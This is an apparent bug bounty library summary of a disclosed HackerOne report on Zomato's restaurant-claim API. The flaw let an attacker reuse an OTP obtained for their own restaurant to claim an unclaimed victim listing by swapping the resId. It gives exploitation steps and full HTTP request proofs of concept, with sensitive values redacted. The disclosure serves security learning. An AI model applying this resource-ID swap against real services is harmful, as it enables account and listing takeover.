# Claiming the listing of a non-delivery restaurant through OTP manipulation

OTP verification endpoint trusted client-supplied resId, letting an attacker bind their own verified phone/email to any unclaimed restaurant and claim ownership.

- Payout: $3,250
- Severity: critical
- Program: Eternal
- Found by: ashoka_rao
- Disclosed: 2022-02-22
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1330529
- Library page: https://bugbountylibrary.com/r/h1%3A1330529
- Tags: area:web domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:critical technique:param-pollution vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** Zomato restaurant onboarding/claim API (send-auto-claim-otp, verify-auto-claim-otp)
**Root cause:** The verify-auto-claim-otp endpoint did not bind the OTP requestId/verificationCode to the specific resId; it accepted an attacker-obtained OTP for their own restaurant and applied it to a victim resId.
**Steps:**
1. Register/own a restaurant so you have a phone+email mapped.
2. POST /restaurant-onboard-diy/v2/send-auto-claim-otp with `{"number":"<attacker>","isdCode":"+91","resId":"<attacker_resId>"}` to receive OTP and requestId.
3. POST /restaurant-onboard-diy/v2/verify-auto-claim-otp with `{"verificationCode":<otp>,"requestId":"<requestId>","resId":"<victim_resId>"}`.
4. Attacker email is now mapped as Owner/Manager of the victim unclaimed restaurant.
**How found:** Researcher noticed the claim flow sends OTP keyed by resId and tested whether the verify step actually validated that the OTP was issued for the same resId, finding it did not.
**Exploitation:** Attacker uses their own restaurant to obtain a valid OTP+requestId, then swaps resId to the victim's unclaimed restaurant in the verify call, binding their email as owner/manager and claiming the listing.
**Insight:** In multi-step OTP flows, always test whether the verify endpoint re-binds the OTP/requestId to the same resource ID (resId) it was issued for; swapping the resource ID between send and verify is a common authz gap.

## Proof of concept (copied exactly from the original report)

**Send OTP request with attacker's number and victim resId**

```
POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2` sends OTP to the restaurant mobile no.

##Request (Request:1) is - 
POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 58
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"number":"XXXXXXXXXX","isdCode":"+91","resId":"XXXXXXXXXX"}
```

**Verify OTP request mapping attacker email to victim restaurant**

```
POST /restaurant-onboard-diy/v2/verify-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXX
Content-Length: 68
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"verificationCode":XXX,"requestId":"XXXXXXXX","resId":"XXXXXXXXX"}
```

